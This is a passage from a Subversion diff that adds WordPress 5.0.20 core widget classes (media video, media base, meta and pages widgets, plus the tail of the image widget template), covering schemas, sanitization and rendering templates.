+			<p class="media-widget-image-link">
+				<label for="{{ elementIdPrefix }}linkUrl"><?php esc_html_e( 'Link to:' ); ?></label>
+				<input id="{{ elementIdPrefix }}linkUrl" type="text" class="widefat link" value="{{ data.link_url }}" placeholder="http://" pattern="((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#).*">
+			</p>
+			<# } #>
+		</script>
+		<script type="text/html" id="tmpl-wp-media-widget-image-preview">
+			<# var describedById = 'describedBy-' + String( Math.random() ); #>
+			<# if ( data.error && 'missing_attachment' === data.error ) { #>
+				<div class="notice notice-error notice-alt notice-missing-attachment">
+					<p><?php echo $this->l10n['missing_attachment']; ?></p>
+				</div>
+			<# } else if ( data.error ) { #>
+				<div class="notice notice-error notice-alt">
+					<p><?php _e( 'Unable to preview media due to an unknown error.' ); ?></p>
+				</div>
+			<# } else if ( data.url ) { #>
+				<img class="attachment-thumb" src="{{ data.url }}" draggable="false" alt="{{ data.alt }}" <# if ( ! data.alt && data.currentFilename ) { #> aria-describedby="{{ describedById }}" <# } #> />
+				<# if ( ! data.alt && data.currentFilename ) { #>
+					<p class="hidden" id="{{ describedById }}"><?php
+						/* translators: placeholder is image filename */
+						echo sprintf( __( 'Current image: %s' ), '{{ data.currentFilename }}' );
+					?></p>
+				<# } #>
+			<# } #>
+		</script>
+		<?php
+	}
+}
Index: /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-media-video.php
===================================================================
--- /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-media-video.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-media-video.php	(revision 56912)
@@ -0,0 +1,251 @@
+<?php
+/**
+ * Widget API: WP_Widget_Media_Video class
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ * @since 4.8.0
+ */
+
+/**
+ * Core class that implements a video widget.
+ *
+ * @since 4.8.0
+ *
+ * @see WP_Widget
+ */
+class WP_Widget_Media_Video extends WP_Widget_Media {
+
+	/**
+	 * Constructor.
+	 *
+	 * @since  4.8.0
+	 */
+	public function __construct() {
+		parent::__construct( 'media_video', __( 'Video' ), array(
+			'description' => __( 'Displays a video from the media library or from YouTube, Vimeo, or another provider.' ),
+			'mime_type'   => 'video',
+		) );
+
+		$this->l10n = array_merge( $this->l10n, array(
+			'no_media_selected' => __( 'No video selected' ),
+			'add_media' => _x( 'Add Video', 'label for button in the video widget' ),
+			'replace_media' => _x( 'Replace Video', 'label for button in the video widget; should preferably not be longer than ~13 characters long' ),
+			'edit_media' => _x( 'Edit Video', 'label for button in the video widget; should preferably not be longer than ~13 characters long' ),
+			'missing_attachment' => sprintf(
+				/* translators: %s: URL to media library */
+				__( 'We can&#8217;t find that video. Check your <a href="%s">media library</a> and make sure it wasn&#8217;t deleted.' ),
+				esc_url( admin_url( 'upload.php' ) )
+			),
+			/* translators: %d: widget count */
+			'media_library_state_multi' => _n_noop( 'Video Widget (%d)', 'Video Widget (%d)' ),
+			'media_library_state_single' => __( 'Video Widget' ),
+			/* translators: %s: a list of valid video file extensions */
+			'unsupported_file_type' => sprintf( __( 'Sorry, we can&#8217;t load the video at the supplied URL. Please check that the URL is for a supported video file (%s) or stream (e.g. YouTube and Vimeo).' ), '<code>.' . implode( '</code>, <code>.', wp_get_video_extensions() ) . '</code>' ),
+		) );
+	}
+
+	/**
+	 * Get schema for properties of a widget instance (item).
+	 *
+	 * @since  4.8.0
+	 *
+	 * @see WP_REST_Controller::get_item_schema()
+	 * @see WP_REST_Controller::get_additional_fields()
+	 * @link https://core.trac.wordpress.org/ticket/35574
+	 * @return array Schema for properties.
+	 */
+	public function get_instance_schema() {
+		$schema = array_merge(
+			parent::get_instance_schema(),
+			array(
+				'preload' => array(
+					'type' => 'string',
+					'enum' => array( 'none', 'auto', 'metadata' ),
+					'default' => 'metadata',
+					'description' => __( 'Preload' ),
+					'should_preview_update' => false,
+				),
+				'loop' => array(
+					'type' => 'boolean',
+					'default' => false,
+					'description' => __( 'Loop' ),
+					'should_preview_update' => false,
+				),
+				'content' => array(
+					'type' => 'string',
+					'default' => '',
+					'sanitize_callback' => 'wp_kses_post',
+					'description' => __( 'Tracks (subtitles, captions, descriptions, chapters, or metadata)' ),
+					'should_preview_update' => false,
+				),
+			)
+		);
+
+		foreach ( wp_get_video_extensions() as $video_extension ) {
+			$schema[ $video_extension ] = array(
+				'type' => 'string',
+				'default' => '',
+				'format' => 'uri',
+				/* translators: %s: video extension */
+				'description' => sprintf( __( 'URL to the %s video source file' ), $video_extension ),
+			);
+		}
+
+		return $schema;
+	}
+
+	/**
+	 * Render the media on the frontend.
+	 *
+	 * @since  4.8.0
+	 *
+	 * @param array $instance Widget instance props.
+	 *
+	 * @return void
+	 */
+	public function render_media( $instance ) {
+		$instance = array_merge( wp_list_pluck( $this->get_instance_schema(), 'default' ), $instance );
+		$attachment = null;
+
+		if ( $this->is_attachment_with_mime_type( $instance['attachment_id'], $this->widget_options['mime_type'] ) ) {
+			$attachment = get_post( $instance['attachment_id'] );
+		}
+
+		$src = $instance['url'];
+		if ( $attachment ) {
+			$src = wp_get_attachment_url( $attachment->ID );
+		}
+
+		if ( empty( $src ) ) {
+			return;
+		}
+
+		$youtube_pattern = '#^https?://(?:www\.)?(?:youtube\.com/watch|youtu\.be/)#';
+		$vimeo_pattern   = '#^https?://(.+\.)?vimeo\.com/.*#';
+
+		if ( $attachment || preg_match( $youtube_pattern, $src ) || preg_match( $vimeo_pattern, $src ) ) {
+			add_filter( 'wp_video_shortcode', array( $this, 'inject_video_max_width_style' ) );
+
+			echo wp_video_shortcode(
+				array_merge(
+					$instance,
+					compact( 'src' )
+				),
+				$instance['content']
+			);
+
+			remove_filter( 'wp_video_shortcode', array( $this, 'inject_video_max_width_style' ) );
+		} else {
+			echo $this->inject_video_max_width_style( wp_oembed_get( $src ) );
+		}
+	}
+
+	/**
+	 * Inject max-width and remove height for videos too constrained to fit inside sidebars on frontend.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @param string $html Video shortcode HTML output.
+	 * @return string HTML Output.
+	 */
+	public function inject_video_max_width_style( $html ) {
+		$html = preg_replace( '/\sheight="\d+"/', '', $html );
+		$html = preg_replace( '/\swidth="\d+"/', '', $html );
+		$html = preg_replace( '/(?<=width:)\s*\d+px(?=;?)/', '100%', $html );
+		return $html;
+	}
+
+	/**
+	 * Enqueue preview scripts.
+	 *
+	 * These scripts normally are enqueued just-in-time when a video shortcode is used.
+	 * In the customizer, however, widgets can be dynamically added and rendered via
+	 * selective refresh, and so it is important to unconditionally enqueue them in
+	 * case a widget does get added.
+	 *
+	 * @since 4.8.0
+	 */
+	public function enqueue_preview_scripts() {
+		/** This filter is documented in wp-includes/media.php */
+		if ( 'mediaelement' === apply_filters( 'wp_video_shortcode_library', 'mediaelement' ) ) {
+			wp_enqueue_style( 'wp-mediaelement' );
+			wp_enqueue_script( 'mediaelement-vimeo' );
+			wp_enqueue_script( 'wp-mediaelement' );
+		}
+	}
+
+	/**
+	 * Loads the required scripts and styles for the widget control.
+	 *
+	 * @since 4.8.0
+	 */
+	public function enqueue_admin_scripts() {
+		parent::enqueue_admin_scripts();
+
+		$handle = 'media-video-widget';
+		wp_enqueue_script( $handle );
+
+		$exported_schema = array();
+		foreach ( $this->get_instance_schema() as $field => $field_schema ) {
+			$exported_schema[ $field ] = wp_array_slice_assoc( $field_schema, array( 'type', 'default', 'enum', 'minimum', 'format', 'media_prop', 'should_preview_update' ) );
+		}
+		wp_add_inline_script(
+			$handle,
+			sprintf(
+				'wp.mediaWidgets.modelConstructors[ %s ].prototype.schema = %s;',
+				wp_json_encode( $this->id_base ),
+				wp_json_encode( $exported_schema )
+			)
+		);
+
+		wp_add_inline_script(
+			$handle,
+			sprintf(
+				'
+					wp.mediaWidgets.controlConstructors[ %1$s ].prototype.mime_type = %2$s;
+					wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n = _.extend( {}, wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n, %3$s );
+				',
+				wp_json_encode( $this->id_base ),
+				wp_json_encode( $this->widget_options['mime_type'] ),
+				wp_json_encode( $this->l10n )
+			)
+		);
+	}
+
+	/**
+	 * Render form template scripts.
+	 *
+	 * @since 4.8.0
+	 */
+	public function render_control_template_scripts() {
+		parent::render_control_template_scripts()
+		?>
+		<script type="text/html" id="tmpl-wp-media-widget-video-preview">
+			<# if ( data.error && 'missing_attachment' === data.error ) { #>
+				<div class="notice notice-error notice-alt notice-missing-attachment">
+					<p><?php echo $this->l10n['missing_attachment']; ?></p>
+				</div>
+			<# } else if ( data.error && 'unsupported_file_type' === data.error ) { #>
+				<div class="notice notice-error notice-alt notice-missing-attachment">
+					<p><?php echo $this->l10n['unsupported_file_type']; ?></p>
+				</div>
+			<# } else if ( data.error ) { #>
+				<div class="notice notice-error notice-alt">
+					<p><?php _e( 'Unable to preview media due to an unknown error.' ); ?></p>
+				</div>
+			<# } else if ( data.is_oembed && data.model.poster ) { #>
+				<a href="{{ data.model.src }}" target="_blank" class="media-widget-video-link">
+					<img src="{{ data.model.poster }}" />
+				</a>
+			<# } else if ( data.is_oembed ) { #>
+				<a href="{{ data.model.src }}" target="_blank" class="media-widget-video-link no-poster">
+					<span class="dashicons dashicons-format-video"></span>
+				</a>
+			<# } else if ( data.model.src ) { #>
+				<?php wp_underscore_video_template() ?>
+			<# } #>
+		</script>
+		<?php
+	}
+}
Index: /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-media.php
===================================================================
--- /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-media.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-media.php	(revision 56912)
@@ -0,0 +1,444 @@
+<?php
+/**
+ * Widget API: WP_Media_Widget class
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ * @since 4.8.0
+ */
+
+/**
+ * Core class that implements a media widget.
+ *
+ * @since 4.8.0
+ *
+ * @see WP_Widget
+ */
+abstract class WP_Widget_Media extends WP_Widget {
+
+	/**
+	 * Translation labels.
+	 *
+	 * @since 4.8.0
+	 * @var array
+	 */
+	public $l10n = array(
+		'add_to_widget' => '',
+		'replace_media' => '',
+		'edit_media' => '',
+		'media_library_state_multi' => '',
+		'media_library_state_single' => '',
+		'missing_attachment' => '',
+		'no_media_selected' => '',
+		'add_media' => '',
+	);
+
+	/**
+	 * Whether or not the widget has been registered yet.
+	 *
+	 * @since 4.8.1
+	 * @var bool
+	 */
+	protected $registered = false;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @param string $id_base         Base ID for the widget, lowercase and unique.
+	 * @param string $name            Name for the widget displayed on the configuration page.
+	 * @param array  $widget_options  Optional. Widget options. See wp_register_sidebar_widget() for
+	 *                                information on accepted arguments. Default empty array.
+	 * @param array  $control_options Optional. Widget control options. See wp_register_widget_control()
+	 *                                for information on accepted arguments. Default empty array.
+	 */
+	public function __construct( $id_base, $name, $widget_options = array(), $control_options = array() ) {
+		$widget_opts = wp_parse_args( $widget_options, array(
+			'description' => __( 'A media item.' ),
+			'customize_selective_refresh' => true,
+			'mime_type' => '',
+		) );
+
+		$control_opts = wp_parse_args( $control_options, array() );
+
+		$l10n_defaults = array(
+			'no_media_selected' => __( 'No media selected' ),
+			'add_media' => _x( 'Add Media', 'label for button in the media widget' ),
+			'replace_media' => _x( 'Replace Media', 'label for button in the media widget; should preferably not be longer than ~13 characters long' ),
+			'edit_media' => _x( 'Edit Media', 'label for button in the media widget; should preferably not be longer than ~13 characters long' ),
+			'add_to_widget' => __( 'Add to Widget' ),
+			'missing_attachment' => sprintf(
+				/* translators: %s: URL to media library */
+				__( 'We can&#8217;t find that file. Check your <a href="%s">media library</a> and make sure it wasn&#8217;t deleted.' ),
+				esc_url( admin_url( 'upload.php' ) )
+			),
+			/* translators: %d: widget count */
+			'media_library_state_multi' => _n_noop( 'Media Widget (%d)', 'Media Widget (%d)' ),
+			'media_library_state_single' => __( 'Media Widget' ),
+			'unsupported_file_type' => __( 'Looks like this isn&#8217;t the correct kind of file. Please link to an appropriate file instead.' ),
+		);
+		$this->l10n = array_merge( $l10n_defaults, array_filter( $this->l10n ) );
+
+		parent::__construct(
+			$id_base,
+			$name,
+			$widget_opts,
+			$control_opts
+		);
+	}
+
+	/**
+	 * Add hooks while registering all widget instances of this widget class.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @param integer $number Optional. The unique order number of this widget instance
+	 *                        compared to other instances of the same class. Default -1.
+	 */
+	public function _register_one( $number = -1 ) {
+		parent::_register_one( $number );
+		if ( $this->registered ) {
+			return;
+		}
+		$this->registered = true;
+
+		// Note that the widgets component in the customizer will also do the 'admin_print_scripts-widgets.php' action in WP_Customize_Widgets::print_scripts().
+		add_action( 'admin_print_scripts-widgets.php', array( $this, 'enqueue_admin_scripts' ) );
+
+		if ( $this->is_preview() ) {
+			add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_preview_scripts' ) );
+		}
+
+		// Note that the widgets component in the customizer will also do the 'admin_footer-widgets.php' action in WP_Customize_Widgets::print_footer_scripts().
+		add_action( 'admin_footer-widgets.php', array( $this, 'render_control_template_scripts' ) );
+
+		add_filter( 'display_media_states', array( $this, 'display_media_state' ), 10, 2 );
+	}
+
+	/**
+	 * Get schema for properties of a widget instance (item).
+	 *
+	 * @since  4.8.0
+	 *
+	 * @see WP_REST_Controller::get_item_schema()
+	 * @see WP_REST_Controller::get_additional_fields()
+	 * @link https://core.trac.wordpress.org/ticket/35574
+	 * @return array Schema for properties.
+	 */
+	public function get_instance_schema() {
+		$schema = array(
+			'attachment_id' => array(
+				'type' => 'integer',
+				'default' => 0,
+				'minimum' => 0,
+				'description' => __( 'Attachment post ID' ),
+				'media_prop' => 'id',
+			),
+			'url' => array(
+				'type' => 'string',
+				'default' => '',
+				'format' => 'uri',
+				'description' => __( 'URL to the media file' ),
+			),
+			'title' => array(
+				'type' => 'string',
+				'default' => '',
+				'sanitize_callback' => 'sanitize_text_field',
+				'description' => __( 'Title for the widget' ),
+				'should_preview_update' => false,
+			),
+		);
+
+		/**
+		 * Filters the media widget instance schema to add additional properties.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param array           $schema Instance schema.
+		 * @param WP_Widget_Media $this   Widget object.
+		 */
+		$schema = apply_filters( "widget_{$this->id_base}_instance_schema", $schema, $this );
+
+		return $schema;
+	}
+
+	/**
+	 * Determine if the supplied attachment is for a valid attachment post with the specified MIME type.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @param int|WP_Post $attachment Attachment post ID or object.
+	 * @param string      $mime_type  MIME type.
+	 * @return bool Is matching MIME type.
+	 */
+	public function is_attachment_with_mime_type( $attachment, $mime_type ) {
+		if ( empty( $attachment ) ) {
+			return false;
+		}
+		$attachment = get_post( $attachment );
+		if ( ! $attachment ) {
+			return false;
+		}
+		if ( 'attachment' !== $attachment->post_type ) {
+			return false;
+		}
+		return wp_attachment_is( $mime_type, $attachment );
+	}
+
+	/**
+	 * Sanitize a token list string, such as used in HTML rel and class attributes.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @link http://w3c.github.io/html/infrastructure.html#space-separated-tokens
+	 * @link https://developer.mozilla.org/en-US/docs/Web/API/DOMTokenList
+	 * @param string|array $tokens List of tokens separated by spaces, or an array of tokens.
+	 * @return string Sanitized token string list.
+	 */
+	public function sanitize_token_list( $tokens ) {
+		if ( is_string( $tokens ) ) {
+			$tokens = preg_split( '/\s+/', trim( $tokens ) );
+		}
+		$tokens = array_map( 'sanitize_html_class', $tokens );
+		$tokens = array_filter( $tokens );
+		return join( ' ', $tokens );
+	}
+
+	/**
+	 * Displays the widget on the front-end.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @see WP_Widget::widget()
+	 *
+	 * @param array $args     Display arguments including before_title, after_title, before_widget, and after_widget.
+	 * @param array $instance Saved setting from the database.
+	 */
+	public function widget( $args, $instance ) {
+		$instance = wp_parse_args( $instance, wp_list_pluck( $this->get_instance_schema(), 'default' ) );
+
+		// Short-circuit if no media is selected.
+		if ( ! $this->has_content( $instance ) ) {
+			return;
+		}
+
+		echo $args['before_widget'];
+
+		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
+		$title = apply_filters( 'widget_title', $instance['title'], $instance, $this->id_base );
+
+		if ( $title ) {
+			echo $args['before_title'] . $title . $args['after_title'];
+		}
+
+		/**
+		 * Filters the media widget instance prior to rendering the media.
+		 *
+		 * @since 4.8.0
+		 *
+		 * @param array           $instance Instance data.
+		 * @param array           $args     Widget args.
+		 * @param WP_Widget_Media $this     Widget object.
+		 */
+		$instance = apply_filters( "widget_{$this->id_base}_instance", $instance, $args, $this );
+
+		$this->render_media( $instance );
+
+		echo $args['after_widget'];
+	}
+
+	/**
+	 * Sanitizes the widget form values as they are saved.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @see WP_Widget::update()
+	 * @see WP_REST_Request::has_valid_params()
+	 * @see WP_REST_Request::sanitize_params()
+	 *
+	 * @param array $new_instance Values just sent to be saved.
+	 * @param array $instance     Previously saved values from database.
+	 * @return array Updated safe values to be saved.
+	 */
+	public function update( $new_instance, $instance ) {
+
+		$schema = $this->get_instance_schema();
+		foreach ( $schema as $field => $field_schema ) {
+			if ( ! array_key_exists( $field, $new_instance ) ) {
+				continue;
+			}
+			$value = $new_instance[ $field ];
+
+			// Workaround for rest_validate_value_from_schema() due to the fact that rest_is_boolean( '' ) === false, while rest_is_boolean( '1' ) is true.
+			if ( 'boolean' === $field_schema['type'] && '' === $value ) {
+				$value = false;
+			}
+
+			if ( true !== rest_validate_value_from_schema( $value, $field_schema, $field ) ) {
+				continue;
+			}
+
+			$value = rest_sanitize_value_from_schema( $value, $field_schema );
+
+			// @codeCoverageIgnoreStart
+			if ( is_wp_error( $value ) ) {
+				continue; // Handle case when rest_sanitize_value_from_schema() ever returns WP_Error as its phpdoc @return tag indicates.
+			}
+
+			// @codeCoverageIgnoreEnd
+			if ( isset( $field_schema['sanitize_callback'] ) ) {
+				$value = call_user_func( $field_schema['sanitize_callback'], $value );
+			}
+			if ( is_wp_error( $value ) ) {
+				continue;
+			}
+			$instance[ $field ] = $value;
+		}
+
+		return $instance;
+	}
+
+	/**
+	 * Render the media on the frontend.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @param array $instance Widget instance props.
+	 * @return string
+	 */
+	abstract public function render_media( $instance );
+
+	/**
+	 * Outputs the settings update form.
+	 *
+	 * Note that the widget UI itself is rendered with JavaScript via `MediaWidgetControl#render()`.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @see \WP_Widget_Media::render_control_template_scripts() Where the JS template is located.
+	 * @param array $instance Current settings.
+	 * @return void
+	 */
+	final public function form( $instance ) {
+		$instance_schema = $this->get_instance_schema();
+		$instance = wp_array_slice_assoc(
+			wp_parse_args( (array) $instance, wp_list_pluck( $instance_schema, 'default' ) ),
+			array_keys( $instance_schema )
+		);
+
+		foreach ( $instance as $name => $value ) : ?>
+			<input
+				type="hidden"
+				data-property="<?php echo esc_attr( $name ); ?>"
+				class="media-widget-instance-property"
+				name="<?php echo esc_attr( $this->get_field_name( $name ) ); ?>"
+				id="<?php echo esc_attr( $this->get_field_id( $name ) ); // Needed specifically by wpWidgets.appendTitle(). ?>"
+				value="<?php echo esc_attr( is_array( $value ) ? join( ',', $value ) : strval( $value ) ); ?>"
+			/>
+		<?php
+		endforeach;
+	}
+
+	/**
+	 * Filters the default media display states for items in the Media list table.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @param array   $states An array of media states.
+	 * @param WP_Post $post   The current attachment object.
+	 * @return array
+	 */
+	public function display_media_state( $states, $post = null ) {
+		if ( ! $post ) {
+			$post = get_post();
+		}
+
+		// Count how many times this attachment is used in widgets.
+		$use_count = 0;
+		foreach ( $this->get_settings() as $instance ) {
+			if ( isset( $instance['attachment_id'] ) && $instance['attachment_id'] === $post->ID ) {
+				$use_count++;
+			}
+		}
+
+		if ( 1 === $use_count ) {
+			$states[] = $this->l10n['media_library_state_single'];
+		} elseif ( $use_count > 0 ) {
+			$states[] = sprintf( translate_nooped_plural( $this->l10n['media_library_state_multi'], $use_count ), number_format_i18n( $use_count ) );
+		}
+
+		return $states;
+	}
+
+	/**
+	 * Enqueue preview scripts.
+	 *
+	 * These scripts normally are enqueued just-in-time when a widget is rendered.
+	 * In the customizer, however, widgets can be dynamically added and rendered via
+	 * selective refresh, and so it is important to unconditionally enqueue them in
+	 * case a widget does get added.
+	 *
+	 * @since 4.8.0
+	 */
+	public function enqueue_preview_scripts() {}
+
+	/**
+	 * Loads the required scripts and styles for the widget control.
+	 *
+	 * @since 4.8.0
+	 */
+	public function enqueue_admin_scripts() {
+		wp_enqueue_media();
+		wp_enqueue_script( 'media-widgets' );
+	}
+
+	/**
+	 * Render form template scripts.
+	 *
+	 * @since 4.8.0
+	 */
+	public function render_control_template_scripts() {
+		?>
+		<script type="text/html" id="tmpl-widget-media-<?php echo esc_attr( $this->id_base ); ?>-control">
+			<# var elementIdPrefix = 'el' + String( Math.random() ) + '_' #>
+			<p>
+				<label for="{{ elementIdPrefix }}title"><?php esc_html_e( 'Title:' ); ?></label>
+				<input id="{{ elementIdPrefix }}title" type="text" class="widefat title">
+			</p>
+			<div class="media-widget-preview <?php echo esc_attr( $this->id_base ); ?>">
+				<div class="attachment-media-view">
+					<div class="placeholder"><?php echo esc_html( $this->l10n['no_media_selected'] ); ?></div>
+				</div>
+			</div>
+			<p class="media-widget-buttons">
+				<button type="button" class="button edit-media selected">
+					<?php echo esc_html( $this->l10n['edit_media'] ); ?>
+				</button>
+			<?php if ( ! empty( $this->l10n['replace_media'] ) ) : ?>
+				<button type="button" class="button change-media select-media selected">
+					<?php echo esc_html( $this->l10n['replace_media'] ); ?>
+				</button>
+			<?php endif; ?>
+				<button type="button" class="button select-media not-selected">
+					<?php echo esc_html( $this->l10n['add_media'] ); ?>
+				</button>
+			</p>
+			<div class="media-widget-fields">
+			</div>
+		</script>
+		<?php
+	}
+
+	/**
+	 * Whether the widget has content to show.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @param array $instance Widget instance props.
+	 * @return bool Whether widget has content.
+	 */
+	protected function has_content( $instance ) {
+		return ( $instance['attachment_id'] && 'attachment' === get_post_type( $instance['attachment_id'] ) ) || $instance['url'];
+	}
+}
Index: /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-meta.php
===================================================================
--- /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-meta.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-meta.php	(revision 56912)
@@ -0,0 +1,116 @@
+<?php
+/**
+ * Widget API: WP_Widget_Meta class
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to implement a Meta widget.
+ *
+ * Displays log in/out, RSS feed links, etc.
+ *
+ * @since 2.8.0
+ *
+ * @see WP_Widget
+ */
+class WP_Widget_Meta extends WP_Widget {
+
+	/**
+	 * Sets up a new Meta widget instance.
+	 *
+	 * @since 2.8.0
+	 */
+	public function __construct() {
+		$widget_ops = array(
+			'classname' => 'widget_meta',
+			'description' => __( 'Login, RSS, &amp; WordPress.org links.' ),
+			'customize_selective_refresh' => true,
+		);
+		parent::__construct( 'meta', __( 'Meta' ), $widget_ops );
+	}
+
+	/**
+	 * Outputs the content for the current Meta widget instance.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $args     Display arguments including 'before_title', 'after_title',
+	 *                        'before_widget', and 'after_widget'.
+	 * @param array $instance Settings for the current Meta widget instance.
+	 */
+	public function widget( $args, $instance ) {
+		$title = ! empty( $instance['title'] ) ? $instance['title'] : __( 'Meta' );
+
+		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
+		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );
+
+		echo $args['before_widget'];
+
+		if ( $title ) {
+			echo $args['before_title'] . $title . $args['after_title'];
+		}
+			?>
+			<ul>
+			<?php wp_register(); ?>
+			<li><?php wp_loginout(); ?></li>
+			<li><a href="<?php echo esc_url( get_bloginfo( 'rss2_url' ) ); ?>"><?php _e('Entries <abbr title="Really Simple Syndication">RSS</abbr>'); ?></a></li>
+			<li><a href="<?php echo esc_url( get_bloginfo( 'comments_rss2_url' ) ); ?>"><?php _e('Comments <abbr title="Really Simple Syndication">RSS</abbr>'); ?></a></li>
+			<?php
+			/**
+			 * Filters the "Powered by WordPress" text in the Meta widget.
+			 *
+			 * @since 3.6.0
+			 * @since 4.9.0 Added the `$instance` parameter.
+			 *
+			 * @param string $title_text Default title text for the WordPress.org link.
+			 * @param array  $instance   Array of settings for the current widget.
+			 */
+			echo apply_filters( 'widget_meta_poweredby', sprintf( '<li><a href="%s" title="%s">%s</a></li>',
+				esc_url( __( 'https://wordpress.org/' ) ),
+				esc_attr__( 'Powered by WordPress, state-of-the-art semantic personal publishing platform.' ),
+				_x( 'WordPress.org', 'meta widget link text' )
+			), $instance );
+
+			wp_meta();
+			?>
+			</ul>
+			<?php
+
+		echo $args['after_widget'];
+	}
+
+	/**
+	 * Handles updating settings for the current Meta widget instance.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $new_instance New settings for this instance as input by the user via
+	 *                            WP_Widget::form().
+	 * @param array $old_instance Old settings for this instance.
+	 * @return array Updated settings to save.
+	 */
+	public function update( $new_instance, $old_instance ) {
+		$instance = $old_instance;
+		$instance['title'] = sanitize_text_field( $new_instance['title'] );
+
+		return $instance;
+	}
+
+	/**
+	 * Outputs the settings form for the Meta widget.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $instance Current settings.
+	 */
+	public function form( $instance ) {
+		$instance = wp_parse_args( (array) $instance, array( 'title' => '' ) );
+		$title = sanitize_text_field( $instance['title'] );
+?>
+			<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:'); ?></label> <input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo esc_attr($title); ?>" /></p>
+<?php
+	}
+}
Index: /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-pages.php
===================================================================
--- /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-pages.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-pages.php	(revision 56912)
@@ -0,0 +1,150 @@
+<?php
+/**
+ * Widget API: WP_Widget_Pages class
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to implement a Pages widget.
+ *
+ * @since 2.8.0
+ *
+ * @see WP_Widget
+ */
+class WP_Widget_Pages extends WP_Widget {
+
+	/**
+	 * Sets up a new Pages widget instance.
+	 *
+	 * @since 2.8.0
+	 */
+	public function __construct() {
+		$widget_ops = array(
+			'classname' => 'widget_pages',
+			'description' => __( 'A list of your site&#8217;s Pages.' ),
+			'customize_selective_refresh' => true,
+		);
+		parent::__construct( 'pages', __( 'Pages' ), $widget_ops );
+	}
+
+	/**
+	 * Outputs the content for the current Pages widget instance.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $args     Display arguments including 'before_title', 'after_title',
+	 *                        'before_widget', and 'after_widget'.
+	 * @param array $instance Settings for the current Pages widget instance.
+	 */
+	public function widget( $args, $instance ) {
+		$title = ! empty( $instance['title'] ) ? $instance['title'] : __( 'Pages' );
+
+		/**
+		 * Filters the widget title.
+		 *
+		 * @since 2.6.0
+		 *
+		 * @param string $title    The widget title. Default 'Pages'.
+		 * @param array  $instance Array of settings for the current widget.
+		 * @param mixed  $id_base  The widget ID.
+		 */
+		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );
+
+		$sortby = empty( $instance['sortby'] ) ? 'menu_order' : $instance['sortby'];
+		$exclude = empty( $instance['exclude'] ) ? '' : $instance['exclude'];
+
+		if ( $sortby == 'menu_order' )
+			$sortby = 'menu_order, post_title';
+
+		/**
+		 * Filters the arguments for the Pages widget.
+		 *
+		 * @since 2.8.0
+		 * @since 4.9.0 Added the `$instance` parameter.
+		 *
+		 * @see wp_list_pages()
+		 *
+		 * @param array $args     An array of arguments to retrieve the pages list.
+		 * @param array $instance Array of settings for the current widget.
+		 */
+		$out = wp_list_pages( apply_filters( 'widget_pages_args', array(
+			'title_li'    => '',
+			'echo'        => 0,
+			'sort_column' => $sortby,
+			'exclude'     => $exclude
+		), $instance ) );
+
+		if ( ! empty( $out ) ) {
+			echo $args['before_widget'];
+			if ( $title ) {
+				echo $args['before_title'] . $title . $args['after_title'];
+			}
+		?>
+		<ul>
+			<?php echo $out; ?>
+		</ul>
+		<?php
+			echo $args['after_widget'];
+		}
+	}
+
+	/**
+	 * Handles updating settings for the current Pages widget instance.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $new_instance New settings for this instance as input by the user via
+	 *                            WP_Widget::form().
+	 * @param array $old_instance Old settings for this instance.
+	 * @return array Updated settings to save.
+	 */
+	public function update( $new_instance, $old_instance ) {
+		$instance = $old_instance;
+		$instance['title'] = sanitize_text_field( $new_instance['title'] );
+		if ( in_array( $new_instance['sortby'], array( 'post_title', 'menu_order', 'ID' ) ) ) {
+			$instance['sortby'] = $new_instance['sortby'];
+		} else {
+			$instance['sortby'] = 'menu_order';
+		}
+
+		$instance['exclude'] = sanitize_text_field( $new_instance['exclude'] );
+
+		return $instance;
+	}
+
+	/**
+	 * Outputs the settings form for the Pages widget.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $instance Current settings.
+	 */
+	public function form( $instance ) {
+		//Defaults
+		$instance = wp_parse_args( (array) $instance, array( 'sortby' => 'post_title', 'title' => '', 'exclude' => '') );
+		?>
+		<p>
